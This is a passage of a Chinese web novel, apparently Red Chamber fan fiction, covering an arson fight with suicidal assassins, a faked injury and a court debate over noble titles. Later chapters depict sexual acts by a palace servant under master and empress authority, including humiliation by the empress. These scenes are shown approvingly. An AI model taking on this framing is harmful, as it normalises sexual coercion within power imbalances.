他想做点儿什么,不然心里有些不安,大骂着自己的善良带着护卫冲向了火灾现场。 第114章 冲动的惩罚 仔细观察长街大火。 李素发现还真没死太多人,比自己想象的要少的多。 “素哥儿,这儿是商街铺子,夜里除了在这里看店子的伙计,还有一些少量住在铺子里的人家,人还真不太多。” “所以,伤人少,伤财多吧……唉,对了,这里头是不是有薛蝌的铺子?” “那应该有。” “这么说,老子的铺子也被烧了啊。” “素哥儿,你看那边儿!” 李无色突然他伸出手指,直直地指向了不远处的一伙人。李素下意识地朝着李无色所指的方向看去。 他的瞳孔猛地收缩起来,脸上露出难以置信的神色。 透过熊熊燃烧的大火,可以看到这伙人身穿兵马司的制服,与其他兵马司的人拉开了一段距离。 与周围那些惊慌失措、手忙脚乱的人们相比,他们显得格外镇定自若,丝毫没有被眼前的火势所影响。 不仅如此,这些人的腰间还都挎着长刀,而他们正在做的事情更是让人瞠目结舌——并没有像其他人那样忙着覆土灭火或者推倒房屋以阻断火势蔓延。 反倒是将已经燃烧起来的各种易燃物品纷纷抛向周边的民房! 由于现场一片混乱嘈杂,浓烟滚滚,火光冲天,众人都只顾着自己逃命或是救火,竟然没有人察觉到这伙人的异常举动。 越来越多的民房被点燃,这么烧下去,得死多少人? 尤其那哭喊的孩子,更是击中了李素内心的柔软。 见对方人数跟自己差不多,掂量了一下扭头道:“和尚去叫季宗礼,就说发现放火的贼了,其他人跟我来,尽量捉活的!” “素哥儿,你别犯傻,烧的不是咱家!” “快滚!” 说着李素带着十名护卫就奔着这伙人冲了过去。 李无色心中焦急万分却又无可奈何,只见他狠狠地跺了一下脚,然后,毫不犹豫地转身,如同一道闪电般迅速朝着那爆炸现场飞奔,去找龙禁卫来增援。 只见李素面色冷峻,待到接近他们时,李素根本没有丝毫犹豫和停顿,迅速从腰间抽出子午剑。 口中暴喝一声:“杀贼!” 而那伙人同时也注意到了,李素等人,出于本能反应,瞬间便开始向一起聚拢。 紧接着,他们纷纷毫不犹豫地抽出各自手中的长刀,一言不发,就这样直接与李素等人展开搏杀。 刹那间,兵器相交的撞击声响成一片。 李素仗着子午剑的锋利,就如砍瓜切菜一般,眨眼间就有三人命丧在他的剑下,十名巡补营来的护卫,见自己老大神勇,精神大震,纷纷奋力拼杀。 很快李素觉得不对了,对方的人不知道什么时候变多了,这他娘的还有隐藏的? 五城兵马司到底藏了多少贼? 更离谱儿的是比自己多了好几倍还不算什么,关键是他们竟然在列军阵。 难打了! 很快自己的护卫就有三人受伤不能再战,眼看就要被杀。 李素于是速度更增,身形快速前突,躲开了砍向自己的长刀,他长剑舞起来,左右飞刺,两人倒了下去,救下了三人。 “不要活口了,咱们撤,真他娘的犯不上了!” 他后悔了,怎么遇到这样的狠茬子了? 就在这时透过火光,恍然间,李素看到了后方几人拉起了长弓。 急忙大喝一声:“小心箭矢!” 随后就见对方已经瞄准了自己,急切间李素一个前扑,来了个懒驴打滚儿,同时对方的箭也射了出来。 可怜后方的两个护卫躲闪不及,被弓箭射中,惨叫着就倒了下去。 “我操你娘!” 李素红眼了,自己的护卫都是自己亲自练出来的,就这么死了!他随手抓起一个被烧着的门板,用力舞起,劈头盖脸朝着对方砸去。 力量全开的李素,神勇无比,对方根本躲闪不及,一时间四五人被砸的骨断筋折惨叫着倒飞出去。 “你是谁?为何与我等作对?” 贼人后方一个声音喊了起来! “我是你爹!” 李素根本不停,趁你病要你命,反派死于话多,他不犯那毛病。 忽然有人出声:“他是李素,全力扑杀!” 其余贼人瞬间放弃了巡补营的护卫朝着李素围杀来,刀刀入命,全是不要命的打法,李素来不及思索这是哪路仇人,他青筋鼓起,力量再增,极速舞起的门板罩住了自己周身。 而被放弃护卫见主子被围,也发了狠向内猛攻,同时呼 喊:“杀贼!” 一时间刀光剑影,厮杀变得更加惨烈起来。 老皇帝回到了大明宫。 在戴权的伺候下,躺在龙床上。 “陛下,您快些安歇吧,龙体为重。” 老皇帝眼睛微闭,轻声道:“唉,我就担心皇帝太急躁坏了事,外面这天儿是真冷,再加点儿火儿,那王八羔子在干什么呢?” “奴才倒是觉得,皇上得到了个好机会呢……呃,花园子爵在贾府厮混呢。”他边回话,边又拿了个炭盆,开始捣腾。 “你懂个屁!没有自己能抓紧的军队,其他的只要动,就是空中楼阁,容易自伤,不然你以为朕跑过去做什么?烧点儿火药算得什么大事?朕是给他勒勒缰绳!王八羔子在贾府厮混什么?” “嘿,陛下说的是,奴才就是太蠢,懂个屁。花园子爵好像是从贾府弄了七八个丫鬟。” 老皇帝笑骂了一句:“没出息!女人算个屁……他要是真的扎进女人堆里倒好了。” 戴权见老皇帝有谈兴,于是开口道:“陛下,成义王昨天递了请,还在等着,您见不见?” “不见,他心有不甘,朕心里明白。” 老皇帝说完后,挥了挥手。 戴权把殿内的灯光调暗,随后出了殿,吩咐值夜的太监一声,就出去了。 看了看外面快亮的天空,他暗叹一声,成义王,真可惜了你的银子,陛下眼里你还不如那私生子的弟弟。 可见有个好娘多重要。 快要力竭的李素,真的很后悔,充他娘什么大头蒜,发他娘什么善心,君子不立危墙啊,自己已经不是前世那个当兵的了。 护卫已经全部倒地,对方也被自己杀了三十余人,但他已经陷入了孤军奋战的境况。 再次踹飞了一个贼兵后,忽然听到了远处的呼喝声,马蹄声。 援军来了! 李素闻声大喜,可这就在这一愣神儿功夫,忽然一只箭矢直奔他的面门,再躲已经来不及了! 第115章 诈死装晕把功劳做大 就在这千钧一发之际。 只见李素双眼圆睁,面色凝重,猛地用尽全力一蹬地面! 与此同时,他的身体犹如被狂风卷起一般,迅速向后倾倒而去。那支疾驰而来的箭矢几乎是贴着他的鼻尖儿呼啸而过! 而李素在如此惊险的情况下,竟然还能清晰地感受到那弓箭急速飞行所带起的凌厉气流,仿佛要将他的面庞割裂开来。 险之又险地躲过了这致命一箭后,由于惯性的作用,李素整个人如同失去控制般直挺挺地摔倒在了坚硬的地面上,发出“砰”的一声闷响。 就在他倒地的一刹那间,出于本能反应,李素想都没想,便下意识地朝着身旁快速翻滚起来。 果然贼人的刀紧随而至,狠狠地劈砍而下,砍了个空。 不过,尽管李素成功避开了贼人的刀锋,可却没能躲开地上那些突兀的砖石。在翻滚的过程中,他的头部不慎重重地撞在了一块尖锐的砖石之上,顿时一阵剧痛袭来。 紧接着,一股温热的液体顺着额头流淌而下。 这时他脑子里闪过一个念头儿,我又为国家流血了! 得包装! 紧接着喊杀声起,打断了他的歪歪念头,龙禁卫已经围了上来,季宗礼大吼着抓活的,这些贼人的出现,让他简直欣喜若狂。 忙活了一个晚上,终于见到了贼踪,这是天上掉下来的功劳,必须抓活的。 就在这时,令人意想不到的事儿发生了! 贼人眼见杀李素已然无望,一阵尖锐刺耳的呼哨声响起,他们竟然毫不犹豫地纷纷举起手中刀,朝着自己的脖颈抹去! 刹那之间,整个场面陷入一片死寂与血腥之中。短短不过一个呼吸的工夫,这些贼人便如同被收割的麦子一般,一个接着一个,毫无迟疑地结束了自己的生命。 眼前这一幕实在太过震撼人心,以至于在场众人都惊得目瞪口呆,半晌回不过神来。 “这……这是死士!” 李素心中警铃大作,这些要杀自己的人竟然是死士? 自己何时结怨了这种狠人? 他想起了运河上截杀他的那伙人,难道是一拨人?是否可以并案了? 季宗礼更为震惊,竟然有人在神京供养死士?还藏在了兵马司? 这是要做什么?究竟是谁? 这是谋反! “素哥儿,素哥儿……”李无色嗷嗷叫着扑了过来,借着火光,他终于看清了李素头上流出的鲜血,一下跌坐在地,双手抓住李素的肩膀,眼泪都快出来了。 “素哥儿,你怎么了,你……” 李素伸手一把薅住他,低声道:“救治兄弟,给我死命的嚎,就当老子死了一样的嚎。”说完他把眼一闭,开始装死。 和尚秒懂,咧开大嘴就嚎了起来:“素哥儿啊……啊啊,你怎么就去了啊……天杀的贼啊!呜呜呜……” 正在震惊的季宗礼,被这一嗓子给喊回了神儿! 季宗礼只觉得自己的心猛地往下一沉,李花园正当红,绝对不能出事! 刹那间,季宗礼的双目变得通红,扯开嗓子大吼起来:“龙禁卫听令!立刻将西城兵马司的人给本将军围起来!如有反抗者,格杀勿论!” 尽管愤怒,他心中还是有数的,人要抓,火还要救! 这个部分就是西城兵马司的人在负责,他看见了西城兵马司的指挥使裘良,贼也是从西城兵马司混进来的。 下达完命令之后,季宗礼根本顾不得其他,迈开大步跑到了李素身旁,只见他满头满脸都是鲜血,躺在地上一动不动。 “快!快去叫太医过来!” 季宗礼一边急切地呼喊,一边伸手轻轻摇晃着李素的身体,李素始终没有任何反应。 李无色一把推开他,哭喊道:“呜呜……你别推,让素哥儿走的安心些……你去看我们的兄弟……” 就在这时,大批的龙禁卫如潮水般手持刀枪,已经朝着现场那些还在忙着灭火的兵马司人员扑去。 杀气腾腾,见人就打,毫不留情。 一时间,整个场面陷入了极度混乱之中,惨叫声、喝骂声此起彼伏。 兵马司的人,都是一些负责巡捕盗贼,疏理街道沟渠、火禁之事的杂兵,而且手无寸铁,哪里是龙禁卫的对手,不过一炷香就纷纷被看管了起来。 就连西城兵马司的都指挥裘良,都没能幸免于难,披头散发的被押到了季宗礼的面前。 “季宗礼!你球囊的一个土鳖也敢抓我?当我景田侯府无人吗?耽误了救火,你人头不保!” 裘良冲着季 宗礼大声喝骂。 季宗礼走到裘良面前,阴沉着脸看了看他,指着地上倒在血泊里的死士高声道。 “裘指挥使,你看看,这就是你的人吧?他们是死士……哈哈哈…你景田侯府很快要风光了,这官司打到陛下那里,我也不怕!” “什…什么死士?” 裘良一惊,四下看去,心里咯噔一下。 “而且,他们放火,他们围杀花园子爵,今夜这大火,这爆炸,都是他们干的,你先好好想想怎么保住自己脑袋吧,带下去,等飞鱼卫来带人!” “不!我不知情啊,季宗礼!你休想诬陷我……季,将军,季将军!” 被押走的裘良挣扎着扭头呼喊,他的心都快碎了,自己真不知情,这些罪名落在他脑袋上,得多少头才够砍的? 天亮的时候,金宝街的大火,终于在兵马司、顺天府和龙禁卫的共同努力下徐徐熄灭了,而朝中的大火即将燃起。 临上朝之前,雍和帝接到了金宝街事件的消息。 他沉默了一会儿,缓缓开口。 “夏总管,把花园子爵接到宫里来吧,交给皇后,另外让太医全力救治,告诉太医院,就当是皇子快死了治。” 夏守忠心中大惊,这李花园真真的简在帝心了,如果不死,将来必是与国同休的新贵重臣。 “遵旨!” 他匆匆下去安排,丝毫不敢怠慢。 大明宫的大太监戴权,也得到了信儿。 心中明白,死士什么的不打紧,但李素的消息一定要报给太上皇。 老皇帝沉默良久。 “你去白云观去请一下老观主来看看吧,他不能这么死,毕竟是帮皇帝……嗯,给咱们大周立功了。” 戴权听出了太上皇在给自己找理由的心思,附和道:“要不说呢,如果不是他,说不得这大火得烧死多少人呢。” “赶紧滚!” 第116章 文武朝争 凤藻宫。 皇后的殿内,融融暖意与那淡淡的馨香,让李素想醉。 昨夜就睡了一个时辰,随后奔波两处火灾现场,又跟贼人拼杀,挨饿受冻的,忽然被抬进了香喷喷的暖宫,疲惫与困意就开始上头。 但他是装昏迷,可不是睡着了,如果真睡过去,就太容易被识破,万一打个呼就更尴尬了。 皇后来了,他忍着不睡。 太医来了,他忍着不睡。 渺渺观主来了,他忍着不睡。 皇后又来了,他忍不住,睡了。 白皇后听着他轻微的呼声表情一怔,随后心中暗骂一声,向左右挥了挥手,服侍的宫女轻手轻脚的退了出去。 她拉了个绣墩儿,坐到近前看着这个贼,心思开始飘飞,困惑她的烦恼在这一刻并没有得到解决,她不清楚自己是怎么了。 甚至开始的都有些奇怪,那天在码头他在自己身后瞄的那一眼,好像打开了自己一道莫名其妙的闸门,让已经多年不起波澜的心开始了跳动。 又好像不似平常的欲念,甚至会感到羞耻,心却想放肆。 想把他踩到脚下,不穿鞋子踩。 又想把他当孩子疼。 想让他欢乐。 看着熟睡的李素,她涌起一股冲动,想拽着他的脖领呵斥,又想把他的脑袋捂在自己胸前。 作孽啊! 死死的压住心中的躁意,白皇后又不自觉的叹了一声。 李素如果知道她的想法,大概会轻描淡写的说一句:四爱而已,不是什么高深的学问。 这时,一名宫女悄悄走了进来,打断了皇后混乱的思绪。 “说。” “娘娘,大明宫的戴公公来了,说太后娘娘赐了花园子爵一条百年老参,另外他还说想看一眼花园子爵。” 太后? 白皇后愣了一下,这有点儿说不着啊,李素一个小小的子爵而已,何况太后都多少年没有对外赏赐物件儿了。 而百年老参,皇家都不多,每一条都是吊命的。 她压下心中的疑问,对宫女道:“跟戴权说,花园子爵不方便见,另外用一些参,让御厨做个汤来。” “是。” “对了,前面的朝会还没结束么?” “还没,这都一整天了。” 皇后摆摆手,宫女缓步退了出去。 今天的朝会,是这个年里最热闹的一次,简直开成了一锅粥。 开始的时候雍和帝还带着强烈的愤意,恨不得大杀四方,到后来却完全变成了看戏的状态。 都察院右都御史刘峦走到了大殿中央,左右看了看,朝着满朝文武高声道。 “绍武十年,朝廷刚经历漠北、西南两次大战,国家积弱,赏赐不足,后来大量勋臣家中难以维持,太上悯恤功臣,允许从国库借银以度难关,从那时起,勋贵也感太上之恩,掀起节俭持家,奉养国祚之风,此为三千年未有之圣朝气象。” 随后他转身面向了雍和帝,继续说道。 “绍武二十三年,太上皇又重申了节俭圣言,这其中就有红白之事从简,从素之意,而昨日十里祭棚,就是有违国策,有违其先祖之制,乃不仁、不法、不孝!” 最后三个“不”直接吼了出来! 好家伙,雍和帝不困了,他都觉得这个帽子扣得太大了,这三条如果真的扣死,哪一条都要命。 但这还不算完,监察御史孙兴走出队列,直接开言。 “陛下,列位臣工,这十里祭棚只是管中窥豹,一个三品将军而已,竟然惹得京城白事物价涨了十倍,可见其生活之奢靡无度,而今年就在河南,饿殍遍地,受灾者百万,易子而食,而不见其捐出半分银子,可见不仁之极也!” 光禄寺卿杨文川走出队列。 “朱门酒肉臭路有冻死骨,既然不仁、不法、不孝,有何脸面与国同休,有何脸面为国所养?” 刘峦接着继续扬声道:“陛下,臣请除爵!除爵十二家,以警诸勋,以敬先贤!” “臣附议!” “臣附议!” 除爵!这些文官儿疯了,也杀疯了! 自古文武对立,在大周的今日朝堂,再一次上演了,这么好的机会他们不可能放过,本来就是个祭棚的事儿,现在又连带着伤民伤财无数。 千载难逢! “刘文山!安敢出此无父无君之言?” 齐国公陈翼之孙,世袭三品威镇将军陈瑞文再也压不住怒火,朝着刘峦大骂。 北静王面色阴沉,走向了中央。 “陛下,从开国到如今,这百年间,四王八公十二侯,战死沙场的子弟,哪一家不是死无数而存皮毛,就说我水家,开国至此仅存臣一人,兄弟叔伯皆无,绝嗣就在眼前。而如刘院督之家,哪家不是枝繁叶茂,香火繁盛。” 接着北静王面色凄苦,声泪俱下的吼道。 “而今不光我等为国捐命之家要绝嗣,还要除爵,往后还哪里会有为国敢战者?这就是要绝了君父之业啊,请陛下明鉴!” 牛继宗接了下去,高声道。 “对,不说别的家,就说林家,林如海至今还在为国收盐,但他家已经绝嗣了,你们还要拿了人家的勋位,你们就是国贼!” “请陛下除此国贼!” “请陛下除此国贼!” …… “除爵!” “除国贼!” “除爵!” “除国贼!” …… 文武分列,互相对着喊了起来,整个朝堂里再次陷入了纷乱之中。 雍和帝也不说话,就看着他们在那里喊,刘峦说的有道理,勋贵说的也有道理,所以这个时候皇帝怎么表态都有问题。 而且明显都跑歪了,他原来的本意是敲打勋贵,谁知道昨夜一场大火,让刘峦等人直接拎刀捅勋贵的心窝子了。 过犹不及啊,刘峦也就只能做个清流了。 雍和帝此时竟然琢磨起用人的事儿了。 “都闭嘴!” 首辅严崇不由得站了出来,大声呵斥。 “朝堂之上,如此宣吠,成何体统?此时金宝街有多少无家可归之人?有多少老幼在寒风中忍饥受冻?有多少商家血本无归?有多少户无米断炊?你们还在此相争那虚渺之言,可对得起君父的皇恩浩荡?可对得起黎民父老的殷殷重负?” 一时间,朝堂之上鸦雀无声。 接着严崇朝着雍和帝行礼开口道:“陛下,臣请先行救灾,而救灾之人就落在十二家勋贵的头上,成则免罪,不成则治罪!” 北静王心中一紧,立刻跳了出来,盯着严崇道:“敢问严相,何为成,何为不成?” 第117章 你错哪儿了 “皇上,臣弟有一言。” 忠顺王站了出来。 “说。” 忠顺王苦着脸道:“说句惭愧的话,臣弟在金宝街也有铺面,想必现在已经没了,可都是白花花的银子,另外还有两个伙计估摸着也死了,他们可也都是有家有口的,都得臣弟来补偿。 四王八公们心中咯噔一下,这银子可不少了。 “而这,只是之前的损失。” “还有,应有收益也没了啊,马上年节,铺子还在的话得赚多少?更不用说,要重新把铺子开起来,又要花多少银子。” 忠顺王说完这话,北静王他们面色再变,心中不由得盘算自己的家底,搞不好都不够赔的。 这时忠顺王突然话锋一转。 “但是这大火,也并不是北静王兄他们放的,他们只是祭奠一下贾珍而已,对了,放火的好像是西城兵马司,这损失如果全部要他们承担好像说不过去。” “但如果不要他们担,也不行,毕竟没有他们的棚子,这火不一定能起来。” 刘峦皱眉道:“王爷到底想说什么?” “陛下,列为臣工,本王的意思是由四王八公自己递折子,救灾、补损,如何救,如何算成?如何补偿?怎么补偿?何时补完?皇上批准了,就做,没批准就改,限时完不成如何受处?都要写清楚。” “到时候刘督院可以按照皇上批的折子来验,做不好再说除爵不迟。” 这是把刀把递给了皇帝。 北静王等人听完后,面色一阵青一阵白,自己承诺,做不好被收拾,谁也说不出什么话了。 忠顺王说完回了自己的队列,朝堂里瞬间又响起了嗡嗡的议论声,但再也没有人站出来发言了。 “肃静!”夏守忠喊了一嗓子。 朝堂安静了下来。 “可有异议?” “帝问,可有异议?”夏守忠这个声音放大器,又喊了一遍雍和帝的问话。 刘峦等文官大呼无异,北静王等武勋也跟着说没有。 雍和帝终于拿到了正大光明收拾四王八公的理由。 “退朝!” 山呼万岁,终于退朝了,很多官员累的坐在地上半天都没起来。 退朝回后宫的路上,雍和帝也累的不行了,上了銮舆,被抬着往西暖阁走去,到了地方,雍和帝摆手让要近身伺候的宫人先下去了。 夏守忠把其余人也轰开,随后问道。 “皇上,可要传膳?” 雍和帝点头:“李素怎么样了?” “没有新的消息传来,太医和白云观的老神仙都说无大事,但现在应该是还昏迷着,另外还有一件儿,戴权送了一条百年老参过去,说是太后赏的。” “太后?” 雍和帝愣了一下,他坐半躺在龙床上,沉默了一会儿:“贾珍怎么样了?可问出什么?” 夏守忠嘴角抽了一下,从袖子里掏出一个纸条,呈了过去。 “他都交待了,什么也没敢隐瞒。” 雍和帝接过细看,看完后,一副便秘的表情:“这畜生!这畜生!竟然这畜生……” 骂着骂着,雍和帝实在不知该怎么说了。 夏守忠知道雍和帝骂的什么,觊觎儿媳妇,下药却弄了儿子和族弟。 后来的发展就有些离奇,被婶子挠花了脸,被李素淋了一身血尿,被贾政误会死亡诈尸报丧诸勋,才有了祭棚,才有了大火,又引出了火药爆炸,李素拿贼受伤。 更有了今日朝局,可以说一切的始作俑者就是贾珍,就是从他吃了药开始的。 贾珍吃药,朝局翻天。 “陛下,估摸着先宁国公也看不过眼这等不肖子孙,所以气着了吧,嗯……是怒火,他家宗祠就着火了。” “你这老货!” 雍和帝骂了一句,笑了起来。 夏守忠凑趣儿笑。 “算了,不用再难为他了。”雍和帝想起了自己老子说的两句话,心中一顿。 “可要放他回去?飞鱼卫说他昏迷了几次。” “嗯,那就……先等等,问问李素有什么看法,他在宁国府厮混了两天,总该有些看法。”正想放人的雍和帝忽然想起了李素。 “是,奴才派人在凤藻宫外守着呢,等李花园醒了,会有人来报。” 雍和帝听着李花园这名字,心里不由得又堵了一下。 李素醒过来的消息,被白皇后堵在了殿里,现在更是被参汤堵了嘴巴。 已经第八碗了! 醒来后,在皇后凤目的盯视下,就知道坏菜 了,自己装晕的事儿,肯定被皇后发现了。 他感到了前所未有的心理压力, 再就是皇后对着那汤盆扬了扬下巴。 他只好讪笑着,自己盛汤主动喝起来。 但喝完一碗,皇后依然面色冷冷的盯着他不放,他没办法只能继续从大盆里舀着继续喝, 于是一连着八碗下来,他感觉自己上下,都有点儿想窜血。 无奈只好求饶。 “装啊,你不是挺能装,这才装了八碗就装不下去了?用不用本宫跟陛下说一下?” “娘娘,臣错了!” 李素很光棍,噗通就跪了下去,一个头就磕在了地上。 “你错哪儿了?” 白后的声音依然很冷,但嘴角却不自觉的翘了一下,她站起身来拿起李素身边汤盆里的大勺子搅动着。 “臣……臣不应该装晕。” “还有呢?” “还有?”李素有点儿傻眼儿,还有什么? 他抬头偷瞧白后,但很快又垂了下去,弯身弄汤的白后,桃形正好堵了他的视线。 罪过! 就一眼他感觉,血都快压不住了,再不敢抬头了。 弯身的白后,再一次验证了,果然这贼有颗贼眼,她不再玩儿汤,低头仔细看了看跪伏在地的贼人。 果然这百年参非同一般,让这花园子都结果了。 好想踩上去! 白后控制着自己的冲动说道:“要本宫提醒?” 声音依然冷,但细听却多了一丝韵味儿。 花园素正竭力控制着自己的血液流速,没有注意到其中的变化,忙答道:“请娘娘明示!” “脏了!” “什么脏了?”李素没听懂,索性跟了一句:“请娘娘再次明示。” “你喝个汤,把地都弄脏了!” 啊? 李素有些迷,低头看着地面的他,心中寻思怎么拐到这里来了?不是在说自己装晕的错处么? 紧接着,他眼前出现了一只嫩足! 白! 是皇后的! 她,竟然没穿鞋! 第118章 花开牡丹,倾城国色 李素陷入了迷茫。 他一时间,不知道自己的手应该捂上还是捂下,都热。 这是怎样一只玉足? 怎能长成这样儿?这不是要人命吗? 骨相均匀,不肥不瘦,细腻如玉,娇嫩白皙,仿佛是精雕细琢而成,每一处线条都恰到好处,如同大师笔下最完美的画作。 增一分则肥,减一分则瘦,腻如羊脂白玉,温润而有光泽,丝滑柔软。 而那五颗犹如春笋瓣般的俏皮可爱,还动了一下。 桃形后,又发现了白皇后的又一个优点。 “臣……臣…擦!” 他话没说完,香风起,玉足不见。 但也来不及去寻了,只见眼下地面上,已经有了滴滴答答的血点子,鼻腔里的热流是真的控制不住了。 这次他也不用选择了,先捂住鼻出血的再说。 于是他顾不得请罪的事儿,一手捂鼻,抬起头来,向后仰。 同时左右观瞧,只见皇后已经不见,不知去了哪里,随后只见一个宫装丽人,端着一个水盆莲步轻摇走了进来。 来到李素面前,蹲身放下水盆道:“老爷,洗洗吧。” 李素不管其他,撅着腚对着盆子就拱了下去,用冷水不停的浇起了自己的脸,弄了好一会儿,他感觉燥热渐渐平息下来。 抹了一把鼻子,再无血液流出,心里安定了下来,暗骂皇后不当人子。 接过丽人递过来的锦帕擦了一把脸,感觉自己精神了许多,醉意也没了,站起身对丽人说话。 “你刚才叫我什么?” 李素此时想起了这宫女的称呼。 “老爷。” “你是?”李素定睛瞧她。 “贾元春。” 是了,这是自己的长史,长的真是漂亮,就好似一个放大版的宝琴,又多了许多宝琴没有的圆润温婉。 花眼妙目,樱唇翘鼻。 花开牡丹,倾城国色。 更为扎眼的是她的饱满,让李素不由得用现代的型号去目测。 这长史,硬是要得! 被李素猛瞧的贾元春,就好像浑身上下爬满了蚂蚁,这主子是好看,但这眼睛也太扎人了,她不由得把头扭向了一边。 但被视扎的感受,丝毫没减少。 “老爷啊~” 她不由得叫了一声,其中的弯弯儿,自己都没觉得。 李素也醒过神儿,心中暗赞,真是好长史,这一声虽比不得秦可卿拉丝儿,但却多了些反差,区别明显。 有区别好,有区别好。 “你甘心吗?” 贾元春叹了一声:“生来不由命,不度凡人家,这可能更好也说不准。” 李素听懂了,她是说自己的命运被别人左右,来到了皇宫本也不会再有像外面的女子,出嫁相夫教子。 “你可知道,你家中父母、祖母都想着把你接回家?” “想到了,但无非是再卖一家而已,大约更多的是为了家中脸面吧,至于为我的命运所思者……” 说到这里她停了下来,摇摇头,表情苦涩。 李素不由得柔声道:“如果为你想,就不会送你进宫了,这皇宫我虽然来的不多,但我也知道……” “你知道什么?” 皇后的声音冷冷的传来。 “诋毁宫闱,你罪加一等!” 李素恨不得给自己来一嘴巴子,在人家宫里说人家不行,不地道另说,反正脸皮厚,但不顾环境地点口无遮拦,毫无警惕性,就太失智了。 嗯,都怪皇后这里太让人醉,容易晕头。 他赶紧躬身行礼。 “启禀娘娘,我知道皇后母仪天下,贤名远扬,臣在扬州见过海外番人、倭人,连他们国家都在传颂娘娘的美名。” 皇后嘴角勾了勾:“他们怎么说的啊?” “啊?” 李素抬头看皇后面无表情,赶紧低下头,心中吐槽,问这么细做什么? “说啊,否则再加一个大不敬的罪!” 三个罪了! 李素觉得此地不宜久留,之前自己刚来的时候,皇后还挺好的,像个妈妈一样照顾自己,还有滇王。 怎么这回攻击性这么强? “他们说……您就像天上的月亮、天上的星星一样,给于世间美好,带来了祝福和祥和,用他们的语言来说就是,皇后娘娘,斯国一!” “最后那三个字,什么意思?” “太美了!” “谁说的?” “倭人天皇!” 皇后冷笑:“你把他抓来,本宫要对峙。” “臣遵旨!” 李素咬牙应了,心想回头去把天皇弄死,没了天皇看你怎么对峙。 皇后不再理他,看向了贾元春:“贾元春!” “奴婢在!” “把你家这个戴罪的老爷带走。” “娘娘,带到哪里去?” 皇后不说话了,自顾进了内间。 贾元春行了个礼,李素也行了个礼,二人就往外走去。 李素跟着贾元春后面,看着她袅娜的身形儿,感觉得刚才的参能又开始往外窜了,他这时体会到了贾珍的苦楚。 这百年参是不是加了料? 出了殿门后,是一层内廊,然后顺着内廊往右走去,到了尽头,继续右行,不多时贾元春打开了一个屋门。 “老爷,这是奴婢的寝处,在此安歇可好?” 李素进屋打量了一下,挺宽阔,装点的温馨精致,他估摸了一下方位:“这好像就在皇后寝殿的旁边?” “老爷说的没错儿,近些日子奴婢伺候娘娘多一些,就搬来了这里。” 贾元春说着给李素倒了一盏茶:“老爷请坐,先用些茶。” 李素点点头,坐了下来。 随后接过了贾元春递过来的茶盏,素手白瓷,烛火下莹莹润润,很好看。 “你住哪里?” 元春指了指:“这儿还有个侧间,奴婢住里面,老爷先坐,奴婢去去就来。” 李素点点头,心里就嘀咕开了,这样合适吗? 贾元春虽然是自己的长史,但不是自己的丫鬟,也不是葫芦嫂子,是不能随便睡的。 另外,她还没有出宫履职,现在还是宫里的女史,自己和她住一个屋子,算不算淫乱宫闱? 这可是大罪,自己怎么都觉得皇后这安排有些诡异。 皇后不正常! 虽然自己有那么一些贼心,也不是贼心就是对美的爱好和追求,对皇后有……没有,就是喜欢看。 现在怎么都感到,有一种说不清道不明的什么事儿在里面。 想到皇后,李素暗叫一声不好。 百年参劲儿又来了。 他不由的撅腚弯身,省的被元春一会儿来了,看出端倪不雅。 但好像没用,气的他向下挥了挥手,摁向了一侧。 第119章 不能拒绝的事儿 不一会儿,贾元春端着水盆进来了。 又一盆水。 很明显这一盆不同,还冒着热气。 进来她也不说话,来到李素面前,放到了他的脚边后,就伸出素手摸向了他的靴子。 这架势就是要给自己洗脚。 拒绝?客气? 不存在! 李素觉得的自己是真男人,绝不虚伪。 所以他没动,烛火下,隔着水汽的元春,娇艳中多了些许的仙气,只不过这仙气好似挂了粉色,迤逦惑人。 他脑子里不知为何,想起了一部电影《画壁》,元春是那国色天香的艳妖,而自己就是孟龙潭,当然坚决不做朱孝廉。 “老爷,水温刚刚好。” “嗯。” 只见元春脸颊似是更红了,低头看去,很是漂亮,也才注意到不知何时她竟然换了衣裳,领口变低了,白香扑鼻。 李素把遮挡视线的狗东西拨开,继续看她。 元春抬头,正好看见李素的动作,也看到了他的成果,二人视线中间再无阻隔,对在了一起。 “你好似……不好奇?” “老爷有所不知,进宫后嬷嬷就教授了男女之事,细致处难以尽述。” 李素不甘心,继续问道:“可…有此巨者之说?” “那…倒没有,老爷太过骇人了些。” 元春说到这里,手中的力道不自觉的重了一些。 李素探手扶在了元春的脸颊上,温润滑腻,轻声道“你在怕?” 元春臻首垂了下去,仔细的为他洗着,声音微颤:“嗯~这……奴婢会死么?”想起嬷嬷的教授,她心中有些恐惧。 “死和死,有时候是不同的。” “如……如何不同?” “到时候你就知道了,你先用另一种方式感受它的存在吧。”李素的手指不自觉的捏着元春的红唇润瓣儿。 “奴,奴婢晓得,嬷嬷教过,请老爷指正。” 事后,元春后悔了。 等她又忙活了一阵儿,李素闭着眼睛,声音有些空灵:“去洗漱吧,以后练练饭量。” “奴婢惭愧,这就去,回来请老爷责罚。” 元春叩头,匆忙起身端盆子出去了。 老参真是名不虚传,不光加架还加量,会不会那汤里还有别的?李素默默的琢磨着,元春出门的翘影让他又开始不安静了。 同时他又想起另外一个问题,刚才自己这擦边儿,应该不算踩了皇宫的雷区吧。这回自己来,皇后有些不对劲,他得加小心。 不能让她抓自己的把柄。 他脑子里就像跑马灯一样,乱哄哄的。 另一边,元春则在皇后的榻前跪着回话,完毕后等皇后的吩咐。 过了一会儿,皇后的声音从帐子里传出来。 “你说的不够细,你自己的心理感受,他的反应,你是如何猜测的都没有说,另外还有一处谬误,最后时他离开了椅子半寸高,这个你并没有说到。” 元春再次磕头,随后贝齿轻咬:“奴婢知错,重新说就是。” “说来。” 元春再次叙述起来,更加细致,最后她说完瘫坐在了地上。 皇后忽的骂道:“没出息的东西,脏了本宫的地!” 这声音似乎多了一丝异样,但元春的大脑此时似乎开锅了一般,根本没听出来,只顾着求饶。 “娘~娘……赎罪…呜呜呜。” “你自己想办法弄干净吧。” “是。” 元春伏在了地上,开始蛄蛹。 “除衣。” 元春照做。 哈哈哈……殿内响起了白皇后欢快的声音,元春也更加努力了,好似被欢乐给感染了一般,她的心好似飞了起来,身子更加没出息了。 正在胡思乱想的李素好像听到了什么声音,他站起身出了屋门,左右看了看,又仔细听了听,什么也没有。 一阵寒风吹来,让他的头脑也冷静了些。 心中不由得想起了那寒风中无家可归的百姓,尤其老弱病幼,能活下去? 不能待了,明日出宫。 李素回屋又等了一会儿,见贾元春还不来,皇后更没有来抓他的把柄,他干脆自己一躺就睡下了,贾大姑娘的卧房确实香,不一会儿就睡着了过去。 清晨,再次醒来的李素,睁眼就见贾大姑娘笑颜如花的进了卧房。 “奴婢估摸着老爷就该醒了,可要更衣?” “好,辛苦你了。” 